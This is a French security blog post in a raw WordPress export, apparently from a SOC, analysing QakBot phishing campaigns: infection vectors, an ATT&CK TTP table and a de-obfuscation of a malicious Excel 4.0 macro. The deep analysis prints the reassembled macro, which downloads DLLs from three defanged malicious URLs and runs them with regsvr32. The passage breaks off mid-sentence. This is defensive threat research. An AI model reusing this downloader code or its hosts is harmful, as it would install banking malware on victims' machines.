{"id":4093,"date":"2022-03-28T09:50:42","date_gmt":"2022-03-28T09:50:42","guid":{"rendered":"https:\/\/www.e-xpertsolutions.com\/?p=4093"},"modified":"2024-02-20T09:02:20","modified_gmt":"2024-02-20T09:02:20","slug":"recrudescence-des-campagnes-de-phishing-qakbot","status":"publish","type":"post","link":"https:\/\/www.e-xpertsolutions.com\/de\/recrudescence-des-campagnes-de-phishing-qakbot\/","title":{"rendered":"Recrudescence des campagnes de Phishing QakBot"},"content":{"rendered":"<p>[et_pb_section fb_built=&#8221;1&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; custom_padding=&#8221;0px|0px||0px|false|false&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_row admin_label=&#8221;Post Navigation Top&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; custom_padding=&#8221;0px||15px||false|false&#8221; collapsed=&#8221;on&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; custom_css_main_element=&#8221;height: 90px;&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_code admin_label=&#8221;Menu Button&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; positioning=&#8221;absolute&#8221; position_origin_a=&#8221;top_center&#8221; vertical_offset=&#8221;28px&#8221; z_index=&#8221;1&#8243; width=&#8221;35px&#8221; custom_css_main_element=&#8221;font-size: 35px;&#8221; global_colors_info=&#8221;{}&#8221;]<a href=\"\/actualites\"><i class=\"icon-menu_dots\"><\/i><\/a>[\/et_pb_code][et_pb_post_nav in_same_term=&#8221;on&#8221; module_class=&#8221;tmp-post-navigation tmp-post-navigation-top&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; title_text_color=&#8221;#000000&#8243; title_font_size=&#8221;18px&#8221; positioning=&#8221;absolute&#8221; position_origin_a=&#8221;center_center&#8221; width=&#8221;100%&#8221; custom_padding=&#8221;0px||||false|false&#8221; global_colors_info=&#8221;{}&#8221; title_text_color__hover_enabled=&#8221;on|hover&#8221; title_text_color__hover=&#8221;#F15D22&#8243;][\/et_pb_post_nav][et_pb_divider color=&#8221;#F15D22&#8243; divider_position=&#8221;bottom&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; positioning=&#8221;absolute&#8221; position_origin_a=&#8221;bottom_center&#8221; width=&#8221;100%&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_divider][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_post_title author=&#8221;off&#8221; categories=&#8221;off&#8221; comments=&#8221;off&#8221; featured_image=&#8221;off&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; title_text_color=&#8221;#F15D22&#8243; global_colors_info=&#8221;{}&#8221;][\/et_pb_post_title][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; custom_padding=&#8221;||2px|||&#8221; collapsed=&#8221;on&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_divider color=&#8221;#F15D22&#8243; divider_weight=&#8221;4px&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; width=&#8221;50px&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_divider][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; text_text_color=&#8221;#000000&#8243; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Ces derni\u00e8res semaines, le SOC At-Defense a observ\u00e9 une recrudescence de campagne de phishing Qakbot chez ses clients. Ces attaques utilisent la derni\u00e8re version du malware QakBot existante (Version :403.549, campagne : 1647248933).<br \/>Une sensibilisation des \u00e9quipes techniques et des utilisateurs finaux permet de r\u00e9duire le risque d\u2019une compromission par ce malware difficilement d\u00e9tectable par les m\u00e9canismes usuels de d\u00e9fense (filtre mail, Antivirus\/EDR, etc.)<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<h3><span style=\"color: #f15d22;\">Description de la menace<\/span><\/h3>\n<p>[\/et_pb_text][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; text_text_color=&#8221;#000000&#8243; global_colors_info=&#8221;{}&#8221;]QakBot est un trojan bancaire connu \u00e9galement sous le nom de QBot ou Pinkslipbot. C\u2019est un malware r\u00e9pandu, actif depuis 2007, comportant de nombreuses variations suivant les groupes d\u2019attaquants et les diff\u00e9rentes campagnes. Ce malware est le plus souvent utilis\u00e9 par des groupes criminels \u00e0 des fins financi\u00e8res.<br \/>\nUne compromission par QakBot entraine g\u00e9n\u00e9ralement les actions suivantes :<\/p>\n<p><strong><span class=\"bold\">Ex\u00e9cution du malware :<\/span><\/strong><br \/>\nSur le poste infect\u00e9 des op\u00e9rations de reconnaissances automatis\u00e9es sont r\u00e9alis\u00e9es d\u00e8s l\u2019ex\u00e9cution du malware permettant de r\u00e9cup\u00e9rer des informations sur l\u2019utilisateur, ses droits, les groupes auxquels il appartient ainsi que des informations sur le syst\u00e8me et les r\u00e9seaux telles que le nom de la machine, la configuration IP, la liste des disques ou encore la table ARP.<br \/>\nQakBot charge ensuite des modules compl\u00e9mentaires permettant d\u2019obtenir des informations plus sensibles comme les identifiants des comptes bancaires, les e-mails ou encore les mots de passes de l\u2019utilisateur.<br \/>\nLorsque le malware a r\u00e9cup\u00e9r\u00e9 suffisamment d\u2019informations sur la cible, l\u2019acc\u00e8s sur le syst\u00e8me infect\u00e9 est revendu \u00e0 d\u2019autres groupes d\u2019attaquants. Ces groupes d\u2019attaquants utilisent d\u2019autres malware comme les ransomware pour chiffrer le syst\u00e8me cible.<\/p>\n<p class=\"descriptif\"><strong><span class=\"bold\">Communication avec les attaquants :<\/span><\/strong><br \/>\nLa connexion avec le serveur commande et de contr\u00f4le est effectu\u00e9e \u00e0 intervalle r\u00e9gulier pour diverses op\u00e9rations. Parmi ces op\u00e9rations on retrouve notamment :<\/p>\n<ul>\n<li>La r\u00e9cup\u00e9ration de la derni\u00e8re version du malware<\/li>\n<li>L\u2019ex\u00e9cution de commandes \u00e0 distance<\/li>\n<li>Le chargement des modules suppl\u00e9mentaires<\/li>\n<\/ul>\n<p class=\"descriptif\">La liste compl\u00e8te des adresses IP des serveurs est directement dans le code du malware et varie en fonction des campagnes.<\/p>\n<p><strong><span class=\"bold\">Objectifs sur la cible :<\/span><\/strong><br \/>\nL\u2019acc\u00e8s ainsi obtenu peut ensuite \u00eatre utilis\u00e9 pour r\u00e9aliser diff\u00e9rentes actions sur objectif en fonction de l\u2019environnement.<\/p>\n<ul>\n<li>Cela inclus par exemple la r\u00e9cup\u00e9ration des mails du poste infect\u00e9<\/li>\n<li> Le vol des cookies des navigateurs web<\/li>\n<li>L\u2019ex\u00e9cution d\u2019un keylogger<\/li>\n<\/ul>\n<p>Ces attaques peuvent \u00e9galement d\u00e9boucher sur des exfiltrations d\u2019informations sensibles ou des d\u00e9ploiements de ransomware visant \u00e0 corrompre toutes les donn\u00e9es de l\u2019entreprise.[\/et_pb_text][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<h3><span style=\"color: #f15d22;\">Vecteurs d&#8217;infections et d\u00e9fense \u00e9vasions<\/span><\/h3>\n<p>[\/et_pb_text][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; text_text_color=&#8221;#000000&#8243; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p class=\"descriptif\">Les diff\u00e9rentes analyses des derniers cas recens\u00e9s par le SOC At-Defense r\u00e9v\u00e8lent que le vecteur d\u2019infection principalement utilis\u00e9 par ce malware est le phishing email.<br \/>\nNous avons observ\u00e9 deux m\u00e9thodes permettant \u00e0 l\u2019utilisateur cibl\u00e9 de r\u00e9cup\u00e9rer le fichier malveillant Office depuis l\u2019email :<\/p>\n<ul>\n<li> Via une pi\u00e8ce jointe directement dans l\u2019email<\/li>\n<li> Via un lien vers une plateforme de partage en ligne (OneDrive, Mega, \u2026)<\/li>\n<\/ul>\n<p class=\"descriptif\">Dans ces deux cas, le fichier Office est compress\u00e9 dans une archive prot\u00e9g\u00e9e par mot de passe et le mot de passe est inclus dans le contenu de l\u2019email.<br \/>\nCe type de technique permet de passer outre les m\u00e9canismes d\u2019analyses des emails.<\/p>\n<p>Exemple :[\/et_pb_text][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture1.png&#8221; title_text=&#8221;Picture1&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture2-2.png&#8221; title_text=&#8221;Picture2&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Le fichier Office extrait contient le code malveillant sous la forme de Macro, les extensions utilis\u00e9es peuvent varier en fonction des campagnes (Ex : docm, xlsm, xlsb, \u2026).<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; header_3_text_color=&#8221;#F15D22&#8243; global_colors_info=&#8221;{}&#8221;]<\/p>\n<h3>TTP<\/h3>\n<p>[\/et_pb_text][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Les techniques, les tactiques et les proc\u00e9dures permettent de contextualiser les actions effectu\u00e9es par les charges malveillantes sur un syst\u00e8me cible. Elles permettent \u00e9galement de mettre en place des r\u00e8gles de d\u00e9tection sur les \u00e9quipements de s\u00e9curit\u00e9.<\/p>\n<p>[\/et_pb_text][et_pb_code _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<table><!-- [et_pb_line_break_holder] -->  <\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<th>Tactic<\/th>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<th>ID<\/th>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<th>Name<\/th>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<th>Description<\/th>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] -->  <\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Defense Evasion<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1027<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Obfuscated Files or Information<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>QakBot XLM files are obfuscated and sheets are hidden.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Defense Evasion<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1027.002<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Obfuscated Files or Information: Software Packing<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Every binary and config is obfuscated and encrypted using RC4 cipher.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Execution, Persistence, Privilege Escalation<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1053<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Scheduled Task\/Job<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>QakBot creates tasks to maintain persistence.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Execution, Persistence, Privilege Escalation<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1053.005<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Scheduled Task\/Job: Scheduled Task<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>QakBot uses this TTP as a way of executing every time the malicious DLL.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Defense Evasion, Privilege Escalation<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1055<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Process Injection<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>QakBot uses Process Injection to load into the memory some payloads.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Defense Evasion, Privilege Escalation<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1055.001<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Process Injection: Dynamic-link Library Injection<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>DLL injection is used to load QakBot via rundll32 Windows utility.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Collection, Credential Access<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1056<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Input Capture<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>QakBot collects credentials and sensitive data from the victim\u2019s devices.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Discovery<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1057<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Process Discovery<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>QakBot performs process discovery.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Discovery<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1082<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>System Information Discovery<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>QakBot obtains the list of processes and other details.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Discovery,  Defense Evasion<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1497<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Virtualization\/Sandbox Evasion<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Anti-VM and sandbox techniques are used to evade detection.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Discovery,  Defense Evasion<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1497.003<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Virtualization\/Sandbox Evasion: Time Based Evasion<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Time-based evasion is checked during the malware run time.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Discovery<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1518<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Software Discovery<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>A list of the installed software is obtained.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] --><!-- [et_pb_line_break_holder] --><\/p>\n<tr><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"font-weight: bold;\">Discovery<\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>T1518.001<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Software Discovery: Security Software Discovery<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->    <\/p>\n<td style=\"vertical-align:top;\"><b>Installed AVs and other security software are obtained.<\/b><\/td>\n<p><!-- [et_pb_line_break_holder] -->  <\/tr>\n<p><!-- [et_pb_line_break_holder] -->    <!-- [et_pb_line_break_holder] --><\/table>\n<p>[\/et_pb_code][et_pb_button button_url=&#8221;https:\/\/redcanary.com\/threat-detection-report\/threats\/qbot\/%20&#8243; url_new_window=&#8221;on&#8221; button_text=&#8221;https:\/\/redcanary.com\/threat-detection-report\/threats\/qbot\/ &#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;e1c305e4-8b64-41ff-8c16-6f9981e28e29&#8243; global_colors_info=&#8221;{}&#8221;][\/et_pb_button][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; header_3_text_color=&#8221;#F15D22&#8243; global_colors_info=&#8221;{}&#8221;]<\/p>\n<h3>Analyse approfondie<\/h3>\n<p class=\"descriptif\">L\u2019analyse suivante d\u00e9taille la m\u00e9thode permettant d\u2019obtenir le c\u0153ur du binaire malveillant.<br \/>Le cas pr\u00e9sent\u00e9 ci-dessous est un fichier Excel au format XSLB r\u00e9cup\u00e9r\u00e9 sur OneDrive. Le fichier XLSB inclut des Macro v4 (XLM).<br \/>Ce type de macro permet d\u2019ex\u00e9cuter du code directement dans les cellules du fichier Excel, exemple :<\/p>\n<p>[\/et_pb_text][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture3-1.png&#8221; title_text=&#8221;Picture3&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; header_3_text_color=&#8221;#F15D22&#8243; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p class=\"descriptif\">Dans notre cas le code n\u2019est pas directement visible dans le fichier Excel car plusieurs couches d\u2019obfuscations ont \u00e9t\u00e9 ajout\u00e9es pour accroitre la difficult\u00e9 d\u2019analyse.<br \/>Dans un premier temps les feuilles Excel contenants le code malveillant sont cach\u00e9es :<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=&#8221;1_2,1_2&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture4.png&#8221; title_text=&#8221;Picture4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][\/et_pb_column][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture5.png&#8221; title_text=&#8221;Picture5&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Ensuite, les lignes de codes sont coup\u00e9es dans des sous-cellules :<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=&#8221;1_2,1_2&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture6.png&#8221; title_text=&#8221;Picture6&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][\/et_pb_column][et_pb_column type=&#8221;1_2&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture7.png&#8221; title_text=&#8221;Picture7&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Le code malveillant est reconstruit dans les cellules de \u00ab QQDQ \u00e0 QQDQ7 \u00bb :<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture8.png&#8221; title_text=&#8221;Picture8&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Le code final r\u00e9assembl\u00e9 est le suivant :<\/p>\n<p>[QQDQ]=CALL(&#8220;Kenel32&#8243;,&#8221;CeateDiectoyA&#8221;,&#8221;JCJ&#8221;,&#8221;C:\\Bduc&#8221;,0)<br \/>[QQDQ1]=CALL(&#8220;ulmon&#8221;,&#8221;URLDownloadToFilA&#8221;,&#8221;JJCCBB&#8221;,0,&#8221;hxxps:\/\/mustafaksoy.com\/UMWPpecHvg\/gmkox.png&#8221;,&#8221;C:\\Bduc\\xel1.dll&#8221;,0,0)<br \/>[QQDQ2]=EXEC(&#8220;regsvr32 C:\\Bduc\\xel1.dll&#8221;)<br \/>[QQDQ3]=CALL(&#8220;ulmon&#8221;,&#8221;URLDownloadToFilA&#8221;,&#8221;JJCCBB&#8221;,0,&#8221;hxxps:\/\/britcap.com\/S4ABFgxnWO\/gmkox.png&#8221;,&#8221;C:\\Bduc\\xel2.dll&#8221;,0,0)<br \/>[QQDQ2]=EXEC(&#8220;regsvr32 C:\\Bduc\\xel2.dll&#8221;)<br \/>[QQDQ5]=CALL(&#8220;ulmon&#8221;,&#8221;URLDownloadToFilA&#8221;,&#8221;JJCCBB&#8221;,0,&#8221;hxxps:\/\/autoplacasdilger.com.br\/ECg8m6oX27\/gmkox.png&#8221;,&#8221;C:\\Bduc\\xel3.dll&#8221;,0,0)<br \/>[QQDQ6]=EXEC(&#8220;regsvr32 C:\\Bduc\\xel3.dll&#8221;)<br \/>[QQDQ7]=RETURN()<\/p>\n<p>Ce code t\u00e9l\u00e9charge et ex\u00e9cute 3 DLL malveillantes de QakBot.<\/p>\n<p>Les DLL obtenues sont des binaires d\u00e9velopp\u00e9s en Delphi incluant du code non utilis\u00e9 par le malware.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=&#8221;2_5,3_5&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;2_5&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture9.png&#8221; title_text=&#8221;Picture9&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; width=&#8221;100%&#8221; module_alignment=&#8221;center&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][\/et_pb_column][et_pb_column type=&#8221;3_5&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>L\u2019objectif de ce suppl\u00e9ment de code est d\u2019accro\u00eetre la difficult\u00e9 d\u2019analyse par les 